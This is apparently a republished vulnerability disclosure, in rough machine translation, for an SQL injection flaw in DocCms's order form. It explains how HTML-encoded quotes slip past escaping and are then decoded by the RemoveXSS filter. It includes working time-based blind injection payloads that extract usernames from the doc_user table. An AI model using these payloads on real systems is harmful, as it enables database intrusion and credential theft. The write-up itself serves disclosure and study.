DocCms latest SQL injection (insert injection)

Source: Internet
Author: User
Tags printable characters

DocCms latest SQL injection (insert injection)

DocCms latest SQL injection (insert injection)

First, let's give a general idea about how this SQL statement is generated. We can see the WooYun: DocCms latest SQL injection vulnerability. It uses url encoding to bypass filtering and inject it, will there be other encoding bypass Filtering Problems?

Start

In Doccms, the input is filtered globally. However, to filter XSS, the user input that has been globally filtered is decoded in html. Therefore, the input can be injected through code bypass filtering.

Doccms filters the input content globally in/loader/doc. php, as shown below:


$_REQUEST = cleanArrayForMysql($_REQUEST);$_GET     = cleanArrayForMysql($_GET);$_POST    = cleanArrayForMysql($_POST);$request  = $_REQUEST;



Follow up with cleanArrayForMysql and check out/inc/function. php.

function cleanArrayForMysql($data){if(!get_magic_quotes_gpc())return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);elsereturn $data;}

We can see that mysql_real_escape_string () is called to filter user input. This function filters out several special characters of SQL, especially ', but this function does not filter %, this feature will be used later.

Doccms filters user input based on XSS. For example, if you contact us for this injection, we will call the create () function in the/content/order/index. php file when you click Submit.


Function create () {global $ db, $ request; foreach ($ request as $ k => $ v) {$ request [$ k] = RemoveXSS ($ v ); // xss} require (ABSPATH. '/admini/models/order. php '); // verify $ order = new order (); $ order-> addnew ($ request ); // required field $ order-> dtTime = date ('Y-m-d H: I: s '); $ order-> channelId = $ request ['P']; // optional field $ order-> title = $ request ['title']; $ order-> remark = $ request ['remark']; $ order-> custom = @ implode ('<| @ |>', $ request ['custom']); if ($ order- > Save () {if (orderISON) {sys_mail ('order notification', 'latest order reminder: Your Website: <a href = "http ://'. WEBURL. '"> '. WEBURL. '</a> there is the latest order, order content --'. $ request ['productname ']. ', please check it in time! ');} Echo "<script language = 'javascript'> alert ('Congratulations, your cooperation proposal has been submitted successfully, and our staff will contact you later! '); Window. location. href = '". sys_href ($ request ['P']). "'; </script>"; exit;} else {echo "<script language = 'javascript'> alert ('Sorry, system error. Your cooperation proposal failed to be submitted in time, please contact us by phone. '); Window. location. href =' ". sys_href ($ request ['P'])." '; </script> "; exit ;}}

We can see that


foreach ($request as $k=>$v){$request[$k]=RemoveXSS($v);//xss}

The RemoveXSS () function is called. The content of RemoveXSS () is as follows:


function RemoveXSS($val) {     // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed     // this prevents some character re-spacing such as <java\0script>     // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some          // inputs     $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);         // straight replacements, the user should never need these since they're normal characters     // this prevents like      $search = 'abcdefghijklmnopqrstuvwxyz';     $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';     $search .= '1234567890!@#$%^&*()';     $search .= '~`";:?+/={}[]-_|\'\\';     for ($i = 0; $i < strlen($search); $i++) {         // ;? matches the ;, which is optional         // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars         // @ @ search for the hex values         $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;         // @ @ 0{0,7} matches '0' zero to seven times         $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;     }     // now the only remaining whitespace attacks are \t, \n, and \r     $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');     $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');     $ra = array_merge($ra1, $ra2);        $found = true; // keep replacing as long as the previous round replaced something     while ($found == true) {         $val_before = $val;         for ($i = 0; $i < sizeof($ra); $i++) {             $pattern = '/';             for ($j = 0; $j < strlen($ra[$i]); $j++) {                 if ($j > 0) {                     $pattern .= '(';                     $pattern .= '(&#[xX]0{0,8}([9ab]);)';                     $pattern .= '|';                     $pattern .= '|(&#0{0,8}([9|10|13]);)';                     $pattern .= ')*';                 }                 $pattern .= $ra[$i][$j];             }             $pattern .= '/i';             $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag             $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags             if ($val_before == $val) {                 // no replacements were made, so exit the loop                 $found = false;             }         }     }     return $val; }


To better filter XSS, RemoveXSS decodes user input in html, so the entire process is as follows: user input content ---> mysql_real_escape_string () ----> RemoveXSS () ----> mysql_query (), that is to say, the user input content is first filtered out by mysql_real_escape_string (), then RemoveXSS () for html Decoding, and finally imported into the execution SQL statement.

Therefore, the problem arises. First, encode special SQL characters in html, bypass mysql_real_escape_string (), and then decode and restore them by RemoveXSS (). Then you can execute the code and inject the code.

Although this injection can be introduced, RemoveXSS () cannot use commas, which also brings a little trouble to the injection. However, injection statements can be constructed without commas.

Injection cannot use commas, and the injection is at insert. Therefore, using case when then for injection can effectively avoid the comma problem. Because the injection statement is constructed in the values of insert, and the comma is not allowed, I did not expect to use case when then + "Boolean injection" for injection. This injection uses case when then + "delayed blind injection" for injection.

Take the injection point "company name:" as an example for verification:

Single quotes can be introduced in this way.

Company Name injection payload (unencoded): or (select case when (select username from (select * from doc_user) as a where id = 1) like 'a % 'then sleep (3) else sleep (0) end) or'

The encoded payload is: & # x27; or (select case when (select username from (select * from doc_user) as a where id = 1) like & # x27; a % & # x27; then sleep (3) else sleep (0) end) or & # x27;

You can determine whether the user name of the first user in doc_user starts with a based on the time returned for successful submission. If the returned time is about 3 seconds, if not, the user will return the successful submission immediately. If the first character is a and the second character remains unchanged during the test, modify the value of B as follows: & # x27; or (select case when (select username from (select * from doc_user) as a where id = 1) like & # x27; ad % & # x27; then sleep (3) else sleep (0) end) or & # x27;

Proof:

 

  Solution:

Filter

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.